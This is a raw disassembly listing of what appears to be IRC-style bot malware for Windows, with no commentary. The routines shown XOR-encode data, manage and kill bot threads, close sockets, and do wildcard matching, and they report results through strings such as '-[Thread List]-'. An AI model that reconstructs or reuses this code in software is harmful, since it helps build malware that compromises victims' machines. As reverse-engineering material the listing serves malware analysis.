[ebp+arg_C], eax loc_410101: ; CODE XREF: sub_410081+42j ; sub_410081+73j push [ebp+arg_C] call sub_41004F pop ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jbe short loc_41011C xor eax, eax jmp locret_41022F ; --------------------------------------------------------------------------- loc_41011C: ; CODE XREF: sub_410081+92j cmp [ebp+var_8], 0FFFFh jbe short loc_41012C xor eax, eax jmp locret_41022F ; --------------------------------------------------------------------------- loc_41012C: ; CODE XREF: sub_410081+A2j mov al, byte_47027C mov [ebp+var_C], al and [ebp+var_10], 0 jmp short loc_410141 ; --------------------------------------------------------------------------- loc_41013A: ; CODE XREF: sub_410081:loc_41018Aj mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax loc_410141: ; CODE XREF: sub_410081+B7j mov eax, [ebp+var_10] cmp eax, [ebp+arg_C] jnb short loc_41018C mov eax, [ebp+arg_8] add eax, [ebp+var_10] movsx eax, byte ptr [eax] movsx ecx, [ebp+var_C] xor eax, ecx mov [ebp+var_18], al movsx eax, [ebp+var_18] test eax, eax jz short loc_41017E movsx eax, [ebp+var_18] cmp eax, 0Ah jz short loc_41017E movsx eax, [ebp+var_18] cmp eax, 0Dh jz short loc_41017E movsx eax, [ebp+var_18] cmp eax, 5Ch jnz short loc_41018A loc_41017E: ; CODE XREF: sub_410081+E0j ; sub_410081+E9j ... mov al, [ebp+var_C] add al, 1 mov [ebp+var_C], al and [ebp+var_10], 0 loc_41018A: ; CODE XREF: sub_410081+FBj jmp short loc_41013A ; --------------------------------------------------------------------------- loc_41018C: ; CODE XREF: sub_410081+C6j mov al, [ebp+var_C] mov byte_47027C, al cmp [ebp+arg_C], 0FFh ja short loc_4101C8 mov al, byte ptr [ebp+arg_C] mov byte_423901, al mov al, [ebp+var_C] mov byte_423905, al push 15h ; Size push offset dword_4238F4 ; Src push [ebp+Dst] ; Dst call _memcpy add esp, 0Ch mov [ebp+var_10], 15h jmp short loc_4101FA ; --------------------------------------------------------------------------- loc_4101C8: ; CODE XREF: sub_410081+11Aj mov [ebp+var_1C], offset word_4238EA mov eax, [ebp+var_1C] mov cx, word ptr [ebp+arg_C] mov [eax], cx mov al, [ebp+var_C] mov byte_4238EF, al push 17h ; Size push offset dword_4238DC ; Src push [ebp+Dst] ; Dst call _memcpy add esp, 0Ch mov [ebp+var_10], 17h loc_4101FA: ; CODE XREF: sub_410081+145j and [ebp+var_14], 0 jmp short loc_410207 ; --------------------------------------------------------------------------- loc_410200: ; CODE XREF: sub_410081+1A9j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_410207: ; CODE XREF: sub_410081+17Dj mov eax, [ebp+var_14] cmp eax, [ebp+arg_C] jnb short loc_41022C mov eax, [ebp+arg_8] add eax, [ebp+var_14] movsx eax, byte ptr [eax] movsx ecx, [ebp+var_C] xor eax, ecx mov ecx, [ebp+var_10] add ecx, [ebp+var_14] mov edx, [ebp+Dst] mov [edx+ecx], al jmp short loc_410200 ; --------------------------------------------------------------------------- loc_41022C: ; CODE XREF: sub_410081+18Cj mov eax, [ebp+var_8] locret_41022F: ; CODE XREF: sub_410081+96j ; sub_410081+A6j leave retn sub_410081 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_410231(char *Source, int, int) sub_410231 proc near ; CODE XREF: sub_404F31+113p ; sub_404F31+294p ... var_4 = dword ptr -4 Source = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_410242 ; --------------------------------------------------------------------------- loc_41023B: ; CODE XREF: sub_410231:loc_4102D8j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_410242: ; CODE XREF: sub_410231+8j cmp [ebp+var_4], 1F4h jge loc_4102DD mov eax, [ebp+var_4] imul eax, 234h movsx eax, byte_42B340[eax] test eax, eax jnz short loc_4102D8 push 1FFh ; Count push [ebp+Source] ; Source mov eax, [ebp+var_4] imul eax, 234h add eax, offset byte_42B340 push eax ; Dest call _strncpy add esp, 0Ch mov eax, [ebp+var_4] imul eax, 234h mov ecx, [ebp+arg_4] mov dword_42B540[eax], ecx mov eax, [ebp+var_4] imul eax, 234h and dword_42B544[eax], 0 mov eax, [ebp+var_4] imul eax, 234h and dword_42B548[eax], 0 mov eax, [ebp+var_4] imul eax, 234h mov ecx, [ebp+arg_8] mov dword_42B54C[eax], ecx mov eax, [ebp+var_4] imul eax, 234h and byte ptr aUsaXpSp2667553[eax], 0 ; "USA|XP|SP2|667553" jmp short loc_4102DD ; --------------------------------------------------------------------------- loc_4102D8: ; CODE XREF: sub_410231+30j jmp loc_41023B ; --------------------------------------------------------------------------- loc_4102DD: ; CODE XREF: sub_410231+18j ; sub_410231+A5j mov eax, [ebp+var_4] leave retn sub_410231 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame ; DWORD __stdcall sub_4102E2(LPVOID) sub_4102E2 proc near ; DATA XREF: sub_40ABFE+1E5Fo var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 9Ch push esi push edi mov esi, [ebp+arg_0] push 26h pop ecx lea edi, [ebp+var_9C] rep movsd mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+var_4] mov dword ptr [eax+94h], 1 push [ebp+var_14] push [ebp+var_10] lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_410340 add esp, 10h push [ebp+var_18] call sub_410709 pop ecx push 0 ; dwExitCode call ds:ExitThread ; ExitThread sub_4102E2 endp ; --------------------------------------------------------------------------- pop edi pop esi leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410340 proc near ; CODE XREF: sub_4102E2+3Fp Dest = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 204h push 0 push [ebp+arg_8] push offset aThreadList ; "-[Thread List]-" push [ebp+arg_4] push [ebp+arg_0] call sub_40A08D add esp, 14h and [ebp+var_4], 0 jmp short loc_41036E ; --------------------------------------------------------------------------- loc_410367: ; CODE XREF: sub_410340:loc_4103E3j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_41036E: ; CODE XREF: sub_410340+25j cmp [ebp+var_4], 1F4h jge short locret_4103E5 mov eax, [ebp+var_4] imul eax, 234h movsx eax, byte_42B340[eax] test eax, eax jz short loc_4103E3 cmp [ebp+arg_C], 0 jnz short loc_4103A3 mov eax, [ebp+var_4] imul eax, 234h cmp dword_42B544[eax], 0 jnz short loc_4103E3 loc_4103A3: ; CODE XREF: sub_410340+4Fj mov eax, [ebp+var_4] imul eax, 234h add eax, offset byte_42B340 push eax push [ebp+var_4] push offset aD_S_0 ; "%d. %s" lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 10h push 1 push [ebp+arg_8] lea eax, [ebp+Dest] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40A08D add esp, 14h loc_4103E3: ; CODE XREF: sub_410340+49j ; sub_410340+61j jmp short loc_410367 ; --------------------------------------------------------------------------- locret_4103E5: ; CODE XREF: sub_410340+35j leave retn sub_410340 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4103E7 proc near ; CODE XREF: sub_40ABFE+30ADp ; sub_41050C+36p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 cmp [ebp+arg_0], 0 jle loc_410507 cmp [ebp+arg_0], 1F4h jge loc_410507 push 0 ; dwExitCode mov eax, [ebp+arg_0] imul eax, 234h push dword_42B554[eax] ; hThread call ds:TerminateThread ; TerminateThread mov eax, [ebp+arg_0] imul eax, 234h cmp dword_42B554[eax], 0 jz short loc_410436 mov [ebp+var_4], 1 loc_410436: ; CODE XREF: sub_4103E7+46j mov eax, [ebp+arg_0] imul eax, 234h and dword_42B554[eax], 0 mov eax, [ebp+arg_0] imul eax, 234h and dword_42B540[eax], 0 mov eax, [ebp+arg_0] imul eax, 234h and dword_42B544[eax], 0 mov eax, [ebp+arg_0] imul eax, 234h cmp dword_42B548[eax], 0 jbe short loc_41048D mov eax, [ebp+arg_0] imul eax, 234h push dword_42B548[eax] ; dwProcessId call sub_40F8C5 pop ecx loc_41048D: ; CODE XREF: sub_4103E7+8Fj mov eax, [ebp+arg_0] imul eax, 234h and dword_42B548[eax], 0 mov eax, [ebp+arg_0] imul eax, 234h and byte_42B340[eax], 0 mov eax, [ebp+arg_0] imul eax, 234h and byte ptr aUsaXpSp2667553[eax], 0 ; "USA|XP|SP2|667553" mov eax, [ebp+arg_0] imul eax, 234h push dword_42B54C[eax] call dword_4264B8 ; closesocket mov eax, [ebp+arg_0] imul eax, 234h and dword_42B54C[eax], 0 mov eax, [ebp+arg_0] imul eax, 234h push dword_42B550[eax] call dword_4264B8 ; closesocket mov eax, [ebp+arg_0] imul eax, 234h and dword_42B550[eax], 0 loc_410507: ; CODE XREF: sub_4103E7+Cj ; sub_4103E7+19j mov eax, [ebp+var_4] leave retn sub_4103E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41050C proc near ; CODE XREF: sub_408651:loc_408674p ; sub_409C28+18p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_410522 ; --------------------------------------------------------------------------- loc_41051B: ; CODE XREF: sub_41050C:loc_410553j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_410522: ; CODE XREF: sub_41050C+Dj cmp [ebp+var_4], 1F4h jge short loc_410555 mov eax, [ebp+var_4] imul eax, 234h movsx eax, byte_42B340[eax] test eax, eax jz short loc_410553 push [ebp+var_4] call sub_4103E7 pop ecx test eax, eax jz short loc_410553 mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_410553: ; CODE XREF: sub_41050C+31j ; sub_41050C+3Ej jmp short loc_41051B ; --------------------------------------------------------------------------- loc_410555: ; CODE XREF: sub_41050C+1Dj mov eax, [ebp+var_8] leave retn sub_41050C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41055A proc near ; CODE XREF: sub_410663+2Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_410570 ; --------------------------------------------------------------------------- loc_410569: ; CODE XREF: sub_41055A:loc_4105D9j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_410570: ; CODE XREF: sub_41055A+Dj cmp [ebp+var_4], 1F4h jge short loc_4105DB mov eax, [ebp+var_4] imul eax, 234h mov eax, dword_42B540[eax] cmp eax, [ebp+arg_0] jnz short loc_4105D9 cmp [ebp+arg_4], 0 jle short loc_4105C5 mov eax, [ebp+var_4] imul eax, 234h mov eax, dword_42B544[eax] cmp eax, [ebp+arg_4] jz short loc_4105AF mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jnz short loc_4105C3 loc_4105AF: ; CODE XREF: sub_41055A+4Bj push [ebp+var_4] call sub_4103E7 pop ecx test eax, eax jz short loc_4105C3 mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_4105C3: ; CODE XREF: sub_41055A+53j ; sub_41055A+60j jmp short loc_4105D9 ; --------------------------------------------------------------------------- loc_4105C5: ; CODE XREF: sub_41055A+37j push [ebp+var_4] call sub_4103E7 pop ecx test eax, eax jz short loc_4105D9 mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_4105D9: ; CODE XREF: sub_41055A+31j ; sub_41055A:loc_4105C3j ... jmp short loc_410569 ; --------------------------------------------------------------------------- loc_4105DB: ; CODE XREF: sub_41055A+1Dj mov eax, [ebp+var_8] leave retn sub_41055A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4105E0 proc near ; CODE XREF: sub_404EAD+Bp ; sub_404F31+2Ep ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_4105F6 ; --------------------------------------------------------------------------- loc_4105EF: ; CODE XREF: sub_4105E0:loc_41061Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4105F6: ; CODE XREF: sub_4105E0+Dj cmp [ebp+var_4], 1F4h jge short loc_41061C mov eax, [ebp+var_4] imul eax, 234h mov eax, dword_42B540[eax] cmp eax, [ebp+arg_0] jnz short loc_41061A mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_41061A: ; CODE XREF: sub_4105E0+31j jmp short loc_4105EF ; --------------------------------------------------------------------------- loc_41061C: ; CODE XREF: sub_4105E0+1Dj mov eax, [ebp+var_8] leave retn sub_4105E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410621 proc near ; CODE XREF: sub_40ABFE+2849p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_410637 ; --------------------------------------------------------------------------- loc_410630: ; CODE XREF: sub_410621:loc_41065Cj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_410637: ; CODE XREF: sub_410621+Dj cmp [ebp+var_4], 1F4h jge short loc_41065E mov eax, [ebp+var_4] imul eax, 234h mov eax, dword_42B540[eax] cmp eax, [ebp+arg_0] jnz short loc_41065C mov eax, [ebp+var_4] mov [ebp+var_8], eax jmp short loc_41065E ; --------------------------------------------------------------------------- loc_41065C: ; CODE XREF: sub_410621+31j jmp short loc_410630 ; --------------------------------------------------------------------------- loc_41065E: ; CODE XREF: sub_410621+1Dj ; sub_410621+39j mov eax, [ebp+var_8] leave retn sub_410621 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_410663(int, int, int, int, int, int, int, char *Str) sub_410663 proc near ; CODE XREF: sub_40ABFE+175Ap ; sub_40ABFE+17B2p ... var_208 = dword ptr -208h Dest = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h Str = dword ptr 24h push ebp mov ebp, esp sub esp, 208h and [ebp+var_208], 0 cmp [ebp+Str], 0 jz short loc_410688 push [ebp+Str] ; Str call _atoi pop ecx mov [ebp+var_208], eax loc_410688: ; CODE XREF: sub_410663+14j push [ebp+var_208] push [ebp+arg_18] call sub_41055A pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jle short loc_4106C0 push [ebp+var_4] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"... lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 14h jmp short loc_4106DA ; --------------------------------------------------------------------------- loc_4106C0: ; CODE XREF: sub_410663+3Cj push [ebp+arg_14] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s: No %s thread found." lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 10h loc_4106DA: ; CODE XREF: sub_410663+5Bj cmp [ebp+arg_C], 0 jnz short loc_4106FA push 0 push [ebp+arg_8] lea eax, [ebp+Dest] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40A08D add esp, 14h loc_4106FA: ; CODE XREF: sub_410663+7Bj lea eax, [ebp+Dest] push eax call sub_40913D pop ecx leave retn sub_410663 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410709 proc near ; CODE XREF: StartAddress+CEp ; StartAddress+1E5p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] imul eax, 234h and dword_42B554[eax], 0 mov eax, [ebp+arg_0] imul eax, 234h and dword_42B540[eax], 0 mov eax, [ebp+arg_0] imul eax, 234h and dword_42B544[eax], 0 mov eax, [ebp+arg_0] imul eax, 234h and dword_42B548[eax], 0 mov eax, [ebp+arg_0] imul eax, 234h and dword_42B54C[eax], 0 mov eax, [ebp+arg_0] imul eax, 234h and dword_42B550[eax], 0 mov eax, [ebp+arg_0] imul eax, 234h and byte_42B340[eax], 0 mov eax, [ebp+arg_0] imul eax, 234h and byte ptr aUsaXpSp2667553[eax], 0 ; "USA|XP|SP2|667553" pop ebp retn sub_410709 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41078E proc near ; CODE XREF: sub_40ABFE+D38p ; sub_4109A7+D1p ... var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 1 jmp short loc_4107A4 ; --------------------------------------------------------------------------- loc_41079D: ; CODE XREF: sub_41078E:loc_41083Ej mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax loc_4107A4: ; CODE XREF: sub_41078E+Dj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz loc_410843 cmp [ebp+var_4], 1 jnz loc_410843 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_410843 mov eax, [ebp+arg_0] mov al, [eax] mov [ebp+var_8], al cmp [ebp+var_8], 2Ah jz short loc_410806 cmp [ebp+var_8], 3Fh jz short loc_4107FD cmp [ebp+var_8], 5Bh jz short loc_4107E2 jmp short loc_410821 ; --------------------------------------------------------------------------- loc_4107E2: ; CODE XREF: sub_41078E+50j mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_410889 pop ecx pop ecx mov [ebp+var_4], eax jmp short loc_41083E ; --------------------------------------------------------------------------- loc_4107FD: ; CODE XREF: sub_41078E+4Aj mov eax, [ebp+arg_4] inc eax mov [ebp+arg_4], eax jmp short loc_41083E ; --------------------------------------------------------------------------- loc_410806: ; CODE XREF: sub_41078E+44j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_4109A7 pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+arg_0] dec eax mov [ebp+arg_0], eax jmp short loc_41083E ; --------------------------------------------------------------------------- loc_410821: ; CODE XREF: sub_41078E+52j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] movsx ecx, byte ptr [ecx] sub eax, ecx neg eax sbb eax, eax inc eax mov [ebp+var_4], eax mov eax, [ebp+arg_4] inc eax mov [ebp+arg_4], eax loc_41083E: ; CODE XREF: sub_41078E+6Dj ; sub_41078E+76j ... jmp loc_41079D ; --------------------------------------------------------------------------- loc_410843: ; CODE XREF: sub_41078E+1Ej ; sub_41078E+28j ... mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_41085D cmp [ebp+var_4], 1 jnz short loc_41085D mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax jmp short loc_410843 ; --------------------------------------------------------------------------- loc_41085D: ; CODE XREF: sub_41078E+BEj ; sub_41078E+C4j cmp [ebp+var_4], 1 jnz short loc_410880 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_410880 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_410880 mov [ebp+var_C], 1 jmp short loc_410884 ; --------------------------------------------------------------------------- loc_410880: ; CODE XREF: sub_41078E+D3j ; sub_41078E+DDj ... and [ebp+var_C], 0 loc_410884: ; CODE XREF: sub_41078E+F0j mov eax, [ebp+var_C] leave retn sub_41078E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410889 proc near ; CODE XREF: sub_41078E+63p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch and [ebp+var_4], 0 and [ebp+var_8], 0 mov [ebp+var_C], 1 mov eax, [ebp+arg_0] mov eax, [eax] movsx eax, byte ptr [eax] cmp eax, 21h jnz short loc_4108BD mov [ebp+var_8], 1 mov eax, [ebp+arg_0] mov eax, [eax] inc eax mov ecx, [ebp+arg_0] mov [ecx], eax loc_4108BD: ; CODE XREF: sub_410889+20j ; sub_410889+F4j mov eax, [ebp+arg_0] mov eax, [eax] movsx eax, byte ptr [eax] cmp eax, 5Dh jnz short loc_4108D4 cmp [ebp+var_C], 1 jnz loc_410982 loc_4108D4: ; CODE XREF: sub_410889+3Fj cmp [ebp+var_4], 0 jnz loc_41096E mov eax, [ebp+arg_0] mov eax, [eax] movsx eax, byte ptr [eax] cmp eax, 2Dh jnz short loc_410953 mov eax, [ebp+arg_0] mov eax, [eax] movsx eax, byte ptr [eax-1] mov ecx, [ebp+arg_0] mov ecx, [ecx] movsx ecx, byte ptr [ecx+1] cmp eax, ecx jge short loc_410953 mov eax, [ebp+arg_0] mov eax, [eax] movsx eax, byte ptr [eax+1] cmp eax, 5Dh jz short loc_410953 cmp [ebp+var_C], 0 jnz short loc_410953 mov eax, [ebp+arg_4] mov eax, [eax] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_0] mov ecx, [ecx] movsx ecx, byte ptr [ecx-1] cmp eax, ecx jl short loc_410951 mov eax, [ebp+arg_4] mov eax, [eax] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_0] mov ecx, [ecx] movsx ecx, byte ptr [ecx+1] cmp eax, ecx jg short loc_410951 mov [ebp+var_4], 1 mov eax, [ebp+arg_0] mov eax, [eax] inc eax mov ecx, [ebp+arg_0] mov [ecx], eax loc_410951: ; CODE XREF: sub_410889+9Fj ; sub_410889+B4j jmp short loc_41096E ; --------------------------------------------------------------------------- loc_410953: ; CODE XREF: sub_410889+60j ; sub_410889+76j ... mov eax, [ebp+arg_0] mov eax, [eax] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] mov ecx, [ecx] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_41096E mov [ebp+var_4], 1 loc_41096E: ; CODE XREF: sub_410889+4Fj ; sub_410889:loc_410951j ... mov eax, [ebp+arg_0] mov eax, [eax] inc eax mov ecx, [ebp+arg_0] mov [ecx], eax and [ebp+var_C], 0 jmp loc_4108BD ; --------------------------------------------------------------------------- loc_410982: ; CODE XREF: sub_410889+45j cmp [ebp+var_8], 1 jnz short loc_410991 push 1 pop eax sub eax, [ebp+var_4] mov [ebp+var_4], eax loc_410991: ; CODE XREF: sub_410889+FDj cmp [ebp+var_4], 1 jnz short loc_4109A2 mov eax, [ebp+arg_4] mov eax, [eax] inc eax mov ecx, [ebp+arg_4] mov [ecx], eax loc_4109A2: ; CODE XREF: sub_410889+10Cj mov eax, [ebp+var_4] leave retn sub_410889 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4109A7 proc near ; CODE XREF: sub_41078E+80p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov [ebp+var_4], 1 mov eax, [ebp+arg_0] mov eax, [eax] inc eax mov ecx, [ebp+arg_0] mov [ecx], eax loc_4109BE: ; CODE XREF: sub_4109A7+60j mov eax, [ebp+arg_4] mov eax, [eax] movsx eax, byte ptr [eax] test eax, eax jz short loc_410A09 mov eax, [ebp+arg_0] mov eax, [eax] movsx eax, byte ptr [eax] cmp eax, 3Fh jz short loc_4109E4 mov eax, [ebp+arg_0] mov eax, [eax] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_410A09 loc_4109E4: ; CODE XREF: sub_4109A7+2Ej mov eax, [ebp+arg_0] mov eax, [eax] movsx eax, byte ptr [eax] cmp eax, 3Fh jnz short loc_4109FC mov eax, [ebp+arg_4] mov eax, [eax] inc eax mov ecx, [ebp+arg_4] mov [ecx], eax loc_4109FC: ; CODE XREF: sub_4109A7+48j mov eax, [ebp+arg_0] mov eax, [eax] inc eax mov ecx, [ebp+arg_0] mov [ecx], eax jmp short loc_4109BE ; --------------------------------------------------------------------------- loc_410A09: ; CODE XREF: sub_4109A7+21j ; sub_4109A7+3Bj ... mov eax, [ebp+arg_0] mov eax, [eax] movsx eax, byte ptr [eax] cmp eax, 2Ah jnz short loc_410A23 mov eax, [ebp+arg_0] mov eax, [eax] inc eax mov ecx, [ebp+arg_0] mov [ecx], eax jmp short loc_410A09 ; --------------------------------------------------------------------------- loc_410A23: ; CODE XREF: sub_4109A7+6Dj mov eax, [ebp+arg_4] mov eax, [eax] movsx eax, byte ptr [eax] test eax, eax jnz short loc_410A47 mov eax, [ebp+arg_0] mov eax, [eax] movsx eax, byte ptr [eax] test eax, eax jz short loc_410A47 and [ebp+var_4], 0 mov eax, [ebp+var_4] jmp locret_410B2F ; --------------------------------------------------------------------------- loc_410A47: ; CODE XREF: sub_4109A7+86j ; sub_4109A7+92j mov eax, [ebp+arg_4] mov eax, [eax] movsx eax, byte ptr [eax] test eax, eax jnz short loc_410A6E mov eax, [ebp+arg_0] mov eax, [eax] movsx eax, byte ptr [eax] test eax, eax jnz short loc_410A6E mov [ebp+var_4], 1 mov eax, [ebp+var_4] jmp locret_410B2F ; --------------------------------------------------------------------------- loc_410A6E: ; CODE XREF: sub_4109A7+AAj ; sub_4109A7+B6j mov eax, [ebp+arg_4] push dword ptr [eax] mov eax, [ebp+arg_0] push dword ptr [eax] call sub_41078E pop ecx pop ecx test eax, eax jnz loc_410B0D loc_410A87: ; CODE XREF: sub_4109A7+160j mov eax, [ebp+arg_4] mov eax, [eax] inc eax mov ecx, [ebp+arg_4] mov [ecx], eax loc_410A92: ; CODE XREF: sub_4109A7+123j mov eax, [ebp+arg_0] mov eax, [eax] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_4] mov ecx, [ecx] movsx ecx, byte ptr [ecx] cmp eax, ecx jz short loc_410ACC mov eax, [ebp+arg_0] mov eax, [eax] movsx eax, byte ptr [eax] cmp eax, 5Bh jz short loc_410ACC mov eax, [ebp+arg_4] mov eax, [eax] movsx eax, byte ptr [eax] test eax, eax jz short loc_410ACC mov eax, [ebp+arg_4] mov eax, [eax] inc eax mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_410A92 ; --------------------------------------------------------------------------- loc_410ACC: ; CODE XREF: sub_4109A7+FDj ; sub_4109A7+10Aj ... mov eax, [ebp+arg_4] mov eax, [eax] movsx eax, byte ptr [eax] test eax, eax jz short loc_410AF3 mov eax, [ebp+arg_4] push dword ptr [eax] mov eax, [ebp+arg_0] push dword ptr [eax] call sub_41078E pop ecx pop ecx neg eax sbb eax, eax inc eax mov [ebp+var_8], eax jmp short loc_410B03 ; --------------------------------------------------------------------------- loc_410AF3: ; CODE XREF: sub_4109A7+12Fj and [ebp+var_4], 0 xor eax, eax cmp [ebp+var_4], 0 setnz al mov [ebp+var_8], eax loc_410B03: ; CODE XREF: sub_4109A7+14Aj cmp [ebp+var_8], 0 jnz loc_410A87 loc_410B0D: ; CODE XREF: sub_4109A7+DAj mov eax, [ebp+arg_4] mov eax, [eax] movsx eax, byte ptr [eax] test eax, eax jnz short loc_410B2C mov eax, [ebp+arg_0] mov eax, [eax] movsx eax, byte ptr [eax] test eax, eax jnz short loc_410B2C mov [ebp+var_4], 1 loc_410B2C: ; CODE XREF: sub_4109A7+170j ; sub_4109A7+17Cj mov eax, [ebp+var_4] locret_410B2F: ; CODE XREF: sub_4109A7+9Bj ; sub_4109A7+C2j leave retn sub_4109A7 endp ; [0000002A BYTES: COLLAPSED FUNCTION _wcscat. PRESS KEYPAD "+" TO EXPAND] ; [00000012 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+" TO EXPAND] ; [0000002C BYTES: COLLAPSED FUNCTION __nh_malloc. PRESS KEYPAD "+" TO EXPAND] ; [00000036 BYTES: COLLAPSED FUNCTION __heap_alloc. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000058 BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000335 BYTES: COLLAPSED FUNCTION _memcpy. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000002F BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND] ; [0000002F BYTES: COLLAPSED FUNCTION _free. PRESS KEYPAD "+" TO EXPAND] ; [00000052 BYTES: COLLAPSED FUNCTION _sprintf. PRESS KEYPAD "+" TO EXPAND] ; [0000007B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+" TO EXPAND] ; [000000CF BYTES: COLLAPSED FUNCTION _floor. PRESS KEYPAD "+" TO EXPAND] ; [00000017 BYTES: COLLAPSED FUNCTION __fpmath. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; [00000038 BYTES: COLLAPSED FUNCTION __cfltcvt_init. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000027 BYTES: COLLAPSED FUNCTION __ftol. PRESS KEYPAD "+" TO EXPAND] ; [000000CF BYTES: COLLAPSED FUNCTION _ceil. PRESS KEYPAD "+" TO EXPAND] ; [0000002D BYTES: COLLAPSED FUNCTION _JumpToContinuation(void *,EHRegistrationNode *). 